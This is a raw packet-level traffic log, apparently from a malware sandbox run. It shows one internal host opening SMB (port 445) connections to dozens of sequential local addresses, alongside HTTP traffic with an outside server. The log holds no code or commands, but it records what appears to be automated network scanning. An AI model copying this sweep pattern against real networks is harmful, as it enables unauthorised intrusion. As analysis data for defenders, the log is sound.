Jul 6, 2024 14:10:23.700092077 CEST	445	49867	192.168.0.128	192.168.2.4
Jul 6, 2024 14:10:23.700131893 CEST	49867	445	192.168.2.4	192.168.0.128
Jul 6, 2024 14:10:23.700258017 CEST	445	49895	192.168.0.148	192.168.2.4
Jul 6, 2024 14:10:23.700314045 CEST	49895	445	192.168.2.4	192.168.0.148
Jul 6, 2024 14:10:23.700392962 CEST	445	49868	192.168.0.129	192.168.2.4
Jul 6, 2024 14:10:23.700411081 CEST	49895	445	192.168.2.4	192.168.0.148
Jul 6, 2024 14:10:23.700426102 CEST	49868	445	192.168.2.4	192.168.0.129
Jul 6, 2024 14:10:23.701042891 CEST	445	49874	192.168.0.132	192.168.2.4
Jul 6, 2024 14:10:23.701087952 CEST	49874	445	192.168.2.4	192.168.0.132
Jul 6, 2024 14:10:23.701203108 CEST	445	49869	192.168.0.130	192.168.2.4
Jul 6, 2024 14:10:23.701247931 CEST	49869	445	192.168.2.4	192.168.0.130
Jul 6, 2024 14:10:23.701996088 CEST	445	49886	192.168.0.139	192.168.2.4
Jul 6, 2024 14:10:23.702007055 CEST	445	49875	192.168.0.133	192.168.2.4
Jul 6, 2024 14:10:23.702016115 CEST	445	49871	192.168.0.131	192.168.2.4
Jul 6, 2024 14:10:23.702024937 CEST	445	49891	192.168.0.144	192.168.2.4
Jul 6, 2024 14:10:23.702035904 CEST	445	49887	192.168.0.140	192.168.2.4
Jul 6, 2024 14:10:23.702044964 CEST	445	49889	192.168.0.142	192.168.2.4
Jul 6, 2024 14:10:23.702050924 CEST	49886	445	192.168.2.4	192.168.0.139
Jul 6, 2024 14:10:23.702054977 CEST	445	49876	192.168.0.134	192.168.2.4
Jul 6, 2024 14:10:23.702064037 CEST	445	49892	192.168.0.145	192.168.2.4
Jul 6, 2024 14:10:23.702068090 CEST	49875	445	192.168.2.4	192.168.0.133
Jul 6, 2024 14:10:23.702085018 CEST	49871	445	192.168.2.4	192.168.0.131
Jul 6, 2024 14:10:23.702104092 CEST	49891	445	192.168.2.4	192.168.0.144
Jul 6, 2024 14:10:23.702104092 CEST	49887	445	192.168.2.4	192.168.0.140
Jul 6, 2024 14:10:23.702124119 CEST	445	49878	192.168.0.135	192.168.2.4
Jul 6, 2024 14:10:23.702142000 CEST	49876	445	192.168.2.4	192.168.0.134
Jul 6, 2024 14:10:23.702143908 CEST	49889	445	192.168.2.4	192.168.0.142
Jul 6, 2024 14:10:23.702167988 CEST	49892	445	192.168.2.4	192.168.0.145
Jul 6, 2024 14:10:23.702171087 CEST	49878	445	192.168.2.4	192.168.0.135
Jul 6, 2024 14:10:23.702390909 CEST	445	49881	192.168.0.136	192.168.2.4
Jul 6, 2024 14:10:23.702440977 CEST	49881	445	192.168.2.4	192.168.0.136
Jul 6, 2024 14:10:23.702622890 CEST	445	49888	192.168.0.141	192.168.2.4
Jul 6, 2024 14:10:23.702666998 CEST	49888	445	192.168.2.4	192.168.0.141
Jul 6, 2024 14:10:23.702882051 CEST	445	49883	192.168.0.137	192.168.2.4
Jul 6, 2024 14:10:23.702936888 CEST	49883	445	192.168.2.4	192.168.0.137
Jul 6, 2024 14:10:23.703211069 CEST	445	49890	192.168.0.143	192.168.2.4
Jul 6, 2024 14:10:23.703258991 CEST	49890	445	192.168.2.4	192.168.0.143
Jul 6, 2024 14:10:23.703598022 CEST	445	49893	192.168.0.146	192.168.2.4
Jul 6, 2024 14:10:23.703643084 CEST	49893	445	192.168.2.4	192.168.0.146
Jul 6, 2024 14:10:23.704101086 CEST	445	49885	192.168.0.138	192.168.2.4
Jul 6, 2024 14:10:23.704174995 CEST	49885	445	192.168.2.4	192.168.0.138
Jul 6, 2024 14:10:23.704381943 CEST	445	49894	192.168.0.147	192.168.2.4
Jul 6, 2024 14:10:23.704432011 CEST	49894	445	192.168.2.4	192.168.0.147
Jul 6, 2024 14:10:23.705671072 CEST	445	49895	192.168.0.148	192.168.2.4
Jul 6, 2024 14:10:23.705720901 CEST	49895	445	192.168.2.4	192.168.0.148
Jul 6, 2024 14:10:23.708142042 CEST	49896	445	192.168.2.4	192.168.0.149
Jul 6, 2024 14:10:23.713062048 CEST	445	49896	192.168.0.149	192.168.2.4
Jul 6, 2024 14:10:23.713134050 CEST	49896	445	192.168.2.4	192.168.0.149
Jul 6, 2024 14:10:23.723669052 CEST	49896	445	192.168.2.4	192.168.0.149
Jul 6, 2024 14:10:23.723968983 CEST	49897	445	192.168.2.4	192.168.0.150
Jul 6, 2024 14:10:23.731420040 CEST	445	49896	192.168.0.149	192.168.2.4
Jul 6, 2024 14:10:23.731496096 CEST	49896	445	192.168.2.4	192.168.0.149
Jul 6, 2024 14:10:23.731575012 CEST	445	49897	192.168.0.150	192.168.2.4
Jul 6, 2024 14:10:23.731636047 CEST	49897	445	192.168.2.4	192.168.0.150
Jul 6, 2024 14:10:23.739135981 CEST	49897	445	192.168.2.4	192.168.0.150
Jul 6, 2024 14:10:23.739522934 CEST	49898	445	192.168.2.4	192.168.0.151
Jul 6, 2024 14:10:23.746959925 CEST	445	49897	192.168.0.150	192.168.2.4
Jul 6, 2024 14:10:23.746972084 CEST	445	49898	192.168.0.151	192.168.2.4
Jul 6, 2024 14:10:23.747085094 CEST	49897	445	192.168.2.4	192.168.0.150
Jul 6, 2024 14:10:23.747116089 CEST	49898	445	192.168.2.4	192.168.0.151
Jul 6, 2024 14:10:23.747298956 CEST	49898	445	192.168.2.4	192.168.0.151
Jul 6, 2024 14:10:23.753035069 CEST	445	49898	192.168.0.151	192.168.2.4
Jul 6, 2024 14:10:23.753102064 CEST	49898	445	192.168.2.4	192.168.0.151
Jul 6, 2024 14:10:23.755316019 CEST	49899	445	192.168.2.4	192.168.0.24
Jul 6, 2024 14:10:23.755450010 CEST	49900	445	192.168.2.4	192.168.0.23
Jul 6, 2024 14:10:23.755567074 CEST	49901	445	192.168.2.4	192.168.0.13
Jul 6, 2024 14:10:23.755691051 CEST	49902	445	192.168.2.4	192.168.0.15
Jul 6, 2024 14:10:23.755814075 CEST	49903	445	192.168.2.4	192.168.0.19
Jul 6, 2024 14:10:23.755960941 CEST	49904	445	192.168.2.4	192.168.0.22
Jul 6, 2024 14:10:23.756087065 CEST	49905	445	192.168.2.4	192.168.0.16
Jul 6, 2024 14:10:23.756200075 CEST	49906	445	192.168.2.4	192.168.0.18
Jul 6, 2024 14:10:23.756323099 CEST	49907	445	192.168.2.4	192.168.0.17
Jul 6, 2024 14:10:23.756422997 CEST	49908	445	192.168.2.4	192.168.0.21
Jul 6, 2024 14:10:23.756535053 CEST	49909	445	192.168.2.4	192.168.0.20
Jul 6, 2024 14:10:23.756649017 CEST	49910	445	192.168.2.4	192.168.0.11
Jul 6, 2024 14:10:23.756764889 CEST	49911	445	192.168.2.4	192.168.0.10
Jul 6, 2024 14:10:23.758071899 CEST	49912	445	192.168.2.4	192.168.0.12
Jul 6, 2024 14:10:23.758213043 CEST	49913	445	192.168.2.4	192.168.0.152
Jul 6, 2024 14:10:23.760210037 CEST	445	49899	192.168.0.24	192.168.2.4
Jul 6, 2024 14:10:23.760292053 CEST	49899	445	192.168.2.4	192.168.0.24
Jul 6, 2024 14:10:23.760324955 CEST	445	49900	192.168.0.23	192.168.2.4
Jul 6, 2024 14:10:23.760335922 CEST	445	49901	192.168.0.13	192.168.2.4
Jul 6, 2024 14:10:23.760339022 CEST	49899	445	192.168.2.4	192.168.0.24
Jul 6, 2024 14:10:23.760406017 CEST	49900	445	192.168.2.4	192.168.0.23
Jul 6, 2024 14:10:23.760446072 CEST	49901	445	192.168.2.4	192.168.0.13
Jul 6, 2024 14:10:23.760457039 CEST	49900	445	192.168.2.4	192.168.0.23
Jul 6, 2024 14:10:23.760478020 CEST	49901	445	192.168.2.4	192.168.0.13
Jul 6, 2024 14:10:23.760695934 CEST	445	49902	192.168.0.15	192.168.2.4
Jul 6, 2024 14:10:23.760715008 CEST	445	49903	192.168.0.19	192.168.2.4
Jul 6, 2024 14:10:23.760725021 CEST	445	49904	192.168.0.22	192.168.2.4
Jul 6, 2024 14:10:23.760766029 CEST	49902	445	192.168.2.4	192.168.0.15
Jul 6, 2024 14:10:23.760802031 CEST	49904	445	192.168.2.4	192.168.0.22
Jul 6, 2024 14:10:23.760804892 CEST	49903	445	192.168.2.4	192.168.0.19
Jul 6, 2024 14:10:23.760859013 CEST	445	49905	192.168.0.16	192.168.2.4
Jul 6, 2024 14:10:23.760862112 CEST	49902	445	192.168.2.4	192.168.0.15
Jul 6, 2024 14:10:23.760862112 CEST	49903	445	192.168.2.4	192.168.0.19
Jul 6, 2024 14:10:23.760889053 CEST	49904	445	192.168.2.4	192.168.0.22
Jul 6, 2024 14:10:23.760910034 CEST	49905	445	192.168.2.4	192.168.0.16
Jul 6, 2024 14:10:23.760966063 CEST	49905	445	192.168.2.4	192.168.0.16
Jul 6, 2024 14:10:23.761168003 CEST	445	49906	192.168.0.18	192.168.2.4
Jul 6, 2024 14:10:23.761178970 CEST	445	49907	192.168.0.17	192.168.2.4
Jul 6, 2024 14:10:23.761238098 CEST	49906	445	192.168.2.4	192.168.0.18
Jul 6, 2024 14:10:23.761284113 CEST	49907	445	192.168.2.4	192.168.0.17
Jul 6, 2024 14:10:23.761284113 CEST	49907	445	192.168.2.4	192.168.0.17
Jul 6, 2024 14:10:23.761342049 CEST	445	49908	192.168.0.21	192.168.2.4
Jul 6, 2024 14:10:23.761352062 CEST	445	49909	192.168.0.20	192.168.2.4
Jul 6, 2024 14:10:23.761404991 CEST	49908	445	192.168.2.4	192.168.0.21
Jul 6, 2024 14:10:23.761428118 CEST	49909	445	192.168.2.4	192.168.0.20
Jul 6, 2024 14:10:23.761461973 CEST	49909	445	192.168.2.4	192.168.0.20
Jul 6, 2024 14:10:23.761486053 CEST	49908	445	192.168.2.4	192.168.0.21
Jul 6, 2024 14:10:23.761688948 CEST	445	49910	192.168.0.11	192.168.2.4
Jul 6, 2024 14:10:23.761698961 CEST	445	49911	192.168.0.10	192.168.2.4
Jul 6, 2024 14:10:23.761755943 CEST	49910	445	192.168.2.4	192.168.0.11
Jul 6, 2024 14:10:23.761755943 CEST	49911	445	192.168.2.4	192.168.0.10
Jul 6, 2024 14:10:23.761802912 CEST	49911	445	192.168.2.4	192.168.0.10
Jul 6, 2024 14:10:23.761851072 CEST	49910	445	192.168.2.4	192.168.0.11
Jul 6, 2024 14:10:23.763057947 CEST	445	49912	192.168.0.12	192.168.2.4
Jul 6, 2024 14:10:23.763112068 CEST	49912	445	192.168.2.4	192.168.0.12
Jul 6, 2024 14:10:23.763180017 CEST	445	49913	192.168.0.152	192.168.2.4
Jul 6, 2024 14:10:23.763180971 CEST	49912	445	192.168.2.4	192.168.0.12
Jul 6, 2024 14:10:23.763232946 CEST	49913	445	192.168.2.4	192.168.0.152
Jul 6, 2024 14:10:23.763300896 CEST	49913	445	192.168.2.4	192.168.0.152
Jul 6, 2024 14:10:23.765280962 CEST	445	49899	192.168.0.24	192.168.2.4
Jul 6, 2024 14:10:23.765296936 CEST	445	49900	192.168.0.23	192.168.2.4
Jul 6, 2024 14:10:23.765306950 CEST	445	49901	192.168.0.13	192.168.2.4
Jul 6, 2024 14:10:23.767270088 CEST	445	49903	192.168.0.19	192.168.2.4
Jul 6, 2024 14:10:23.767337084 CEST	445	49902	192.168.0.15	192.168.2.4
Jul 6, 2024 14:10:23.767345905 CEST	445	49904	192.168.0.22	192.168.2.4
Jul 6, 2024 14:10:23.767354965 CEST	445	49905	192.168.0.16	192.168.2.4
Jul 6, 2024 14:10:23.767364025 CEST	445	49907	192.168.0.17	192.168.2.4
Jul 6, 2024 14:10:23.767373085 CEST	445	49909	192.168.0.20	192.168.2.4
Jul 6, 2024 14:10:23.767381907 CEST	445	49908	192.168.0.21	192.168.2.4
Jul 6, 2024 14:10:23.767390013 CEST	445	49911	192.168.0.10	192.168.2.4
Jul 6, 2024 14:10:23.767399073 CEST	445	49910	192.168.0.11	192.168.2.4
Jul 6, 2024 14:10:23.767412901 CEST	49907	445	192.168.2.4	192.168.0.17
Jul 6, 2024 14:10:23.768023968 CEST	445	49912	192.168.0.12	192.168.2.4
Jul 6, 2024 14:10:23.770124912 CEST	445	49913	192.168.0.152	192.168.2.4
Jul 6, 2024 14:10:23.770893097 CEST	49914	445	192.168.2.4	192.168.0.153
Jul 6, 2024 14:10:23.770921946 CEST	49913	445	192.168.2.4	192.168.0.152
Jul 6, 2024 14:10:23.772464037 CEST	445	49907	192.168.0.17	192.168.2.4
Jul 6, 2024 14:10:23.775871038 CEST	445	49914	192.168.0.153	192.168.2.4
Jul 6, 2024 14:10:23.775974035 CEST	49914	445	192.168.2.4	192.168.0.153
Jul 6, 2024 14:10:23.776067019 CEST	49914	445	192.168.2.4	192.168.0.153
Jul 6, 2024 14:10:23.781632900 CEST	445	49914	192.168.0.153	192.168.2.4
Jul 6, 2024 14:10:23.784302950 CEST	49914	445	192.168.2.4	192.168.0.153
Jul 6, 2024 14:10:23.807049990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807064056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807147980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807183981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.807192087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807212114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.807230949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.807301044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807311058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807321072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807343960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.807394028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.807410955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807421923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807460070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.807518959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807528973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807559013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.807636023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807674885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807714939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.807894945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807905912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807915926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.807940960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.807955027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.808046103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808054924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808090925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.808196068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808231115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808240891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808240891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.808264971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.808280945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.808342934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808363914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808376074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808384895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.808406115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.808640957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808650970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808689117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.808731079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808741093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808758974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808768034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808772087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.808785915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.808813095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.808880091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808934927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808943987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808953047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.808973074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.808988094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.809092999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.809139967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.809185982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.809206009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.809238911 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.809245110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.809324980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.809361935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.809371948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.809406042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.809525013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.809535027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.809567928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.809596062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.809640884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.809681892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.809729099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.809767962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.809799910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.809854031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.809895039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.809931993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.809971094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.810122013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.810161114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.810193062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.810230017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.810792923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.810803890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.810813904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.810831070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.810853004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.810911894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.810924053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.810935020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.810957909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.810981989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.811043978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811054945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811073065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811083078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811091900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.811094046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811120033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.811127901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811134100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.811156988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811163902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.811258078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811268091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811300039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.811386108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811434984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811474085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.811520100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811528921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811558962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.811642885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811667919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811707973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.811760902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811769962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811796904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.811821938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.811868906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811878920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.811907053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.812038898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.812047958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.812083006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.812192917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.812203884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.812241077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.812410116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.812458038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.812468052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.812503099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.812731028 CEST	49915	445	192.168.2.4	192.168.0.14
Jul 6, 2024 14:10:23.813013077 CEST	49916	445	192.168.2.4	192.168.0.25
Jul 6, 2024 14:10:23.813277960 CEST	49917	445	192.168.2.4	192.168.0.26
Jul 6, 2024 14:10:23.817460060 CEST	49918	445	192.168.2.4	192.168.0.27
Jul 6, 2024 14:10:23.817528009 CEST	445	49915	192.168.0.14	192.168.2.4
Jul 6, 2024 14:10:23.817624092 CEST	49915	445	192.168.2.4	192.168.0.14
Jul 6, 2024 14:10:23.817676067 CEST	49915	445	192.168.2.4	192.168.0.14
Jul 6, 2024 14:10:23.817779064 CEST	445	49916	192.168.0.25	192.168.2.4
Jul 6, 2024 14:10:23.818180084 CEST	445	49917	192.168.0.26	192.168.2.4
Jul 6, 2024 14:10:23.818238974 CEST	49916	445	192.168.2.4	192.168.0.25
Jul 6, 2024 14:10:23.818293095 CEST	49917	445	192.168.2.4	192.168.0.26
Jul 6, 2024 14:10:23.818294048 CEST	49916	445	192.168.2.4	192.168.0.25
Jul 6, 2024 14:10:23.818319082 CEST	49917	445	192.168.2.4	192.168.0.26
Jul 6, 2024 14:10:23.822247982 CEST	445	49918	192.168.0.27	192.168.2.4
Jul 6, 2024 14:10:23.822469950 CEST	445	49915	192.168.0.14	192.168.2.4
Jul 6, 2024 14:10:23.822532892 CEST	49918	445	192.168.2.4	192.168.0.27
Jul 6, 2024 14:10:23.822583914 CEST	49918	445	192.168.2.4	192.168.0.27
Jul 6, 2024 14:10:23.823148012 CEST	445	49916	192.168.0.25	192.168.2.4
Jul 6, 2024 14:10:23.823162079 CEST	445	49917	192.168.0.26	192.168.2.4
Jul 6, 2024 14:10:23.827375889 CEST	445	49918	192.168.0.27	192.168.2.4
Jul 6, 2024 14:10:23.834168911 CEST	49919	445	192.168.2.4	192.168.0.28
Jul 6, 2024 14:10:23.834420919 CEST	49920	445	192.168.2.4	192.168.0.29
Jul 6, 2024 14:10:23.839034081 CEST	445	49919	192.168.0.28	192.168.2.4
Jul 6, 2024 14:10:23.839181900 CEST	445	49920	192.168.0.29	192.168.2.4
Jul 6, 2024 14:10:23.839272976 CEST	49919	445	192.168.2.4	192.168.0.28
Jul 6, 2024 14:10:23.839278936 CEST	49920	445	192.168.2.4	192.168.0.29
Jul 6, 2024 14:10:23.839364052 CEST	49919	445	192.168.2.4	192.168.0.28
Jul 6, 2024 14:10:23.840256929 CEST	49920	445	192.168.2.4	192.168.0.29
Jul 6, 2024 14:10:23.844983101 CEST	445	49919	192.168.0.28	192.168.2.4
Jul 6, 2024 14:10:23.846623898 CEST	445	49920	192.168.0.29	192.168.2.4
Jul 6, 2024 14:10:23.850346088 CEST	49921	445	192.168.2.4	192.168.0.154
Jul 6, 2024 14:10:23.850617886 CEST	49922	445	192.168.2.4	192.168.0.155
Jul 6, 2024 14:10:23.850636005 CEST	49923	445	192.168.2.4	192.168.0.156
Jul 6, 2024 14:10:23.850758076 CEST	49924	445	192.168.2.4	192.168.0.157
Jul 6, 2024 14:10:23.855747938 CEST	445	49921	192.168.0.154	192.168.2.4
Jul 6, 2024 14:10:23.856030941 CEST	445	49922	192.168.0.155	192.168.2.4
Jul 6, 2024 14:10:23.856041908 CEST	445	49923	192.168.0.156	192.168.2.4
Jul 6, 2024 14:10:23.856060982 CEST	445	49924	192.168.0.157	192.168.2.4
Jul 6, 2024 14:10:23.856129885 CEST	49922	445	192.168.2.4	192.168.0.155
Jul 6, 2024 14:10:23.856134892 CEST	49921	445	192.168.2.4	192.168.0.154
Jul 6, 2024 14:10:23.856136084 CEST	49923	445	192.168.2.4	192.168.0.156
Jul 6, 2024 14:10:23.856183052 CEST	49924	445	192.168.2.4	192.168.0.157
Jul 6, 2024 14:10:23.856190920 CEST	49922	445	192.168.2.4	192.168.0.155
Jul 6, 2024 14:10:23.856286049 CEST	49924	445	192.168.2.4	192.168.0.157
Jul 6, 2024 14:10:23.862313032 CEST	445	49922	192.168.0.155	192.168.2.4
Jul 6, 2024 14:10:23.862389088 CEST	445	49924	192.168.0.157	192.168.2.4
Jul 6, 2024 14:10:23.862545013 CEST	49922	445	192.168.2.4	192.168.0.155
Jul 6, 2024 14:10:23.862898111 CEST	445	49924	192.168.0.157	192.168.2.4
Jul 6, 2024 14:10:23.863223076 CEST	49924	445	192.168.2.4	192.168.0.157
Jul 6, 2024 14:10:23.864265919 CEST	49921	445	192.168.2.4	192.168.0.154
Jul 6, 2024 14:10:23.864340067 CEST	49923	445	192.168.2.4	192.168.0.156
Jul 6, 2024 14:10:23.864744902 CEST	49925	445	192.168.2.4	192.168.0.30
Jul 6, 2024 14:10:23.864886045 CEST	49926	445	192.168.2.4	192.168.0.31
Jul 6, 2024 14:10:23.865248919 CEST	49927	445	192.168.2.4	192.168.0.158
Jul 6, 2024 14:10:23.869421959 CEST	445	49921	192.168.0.154	192.168.2.4
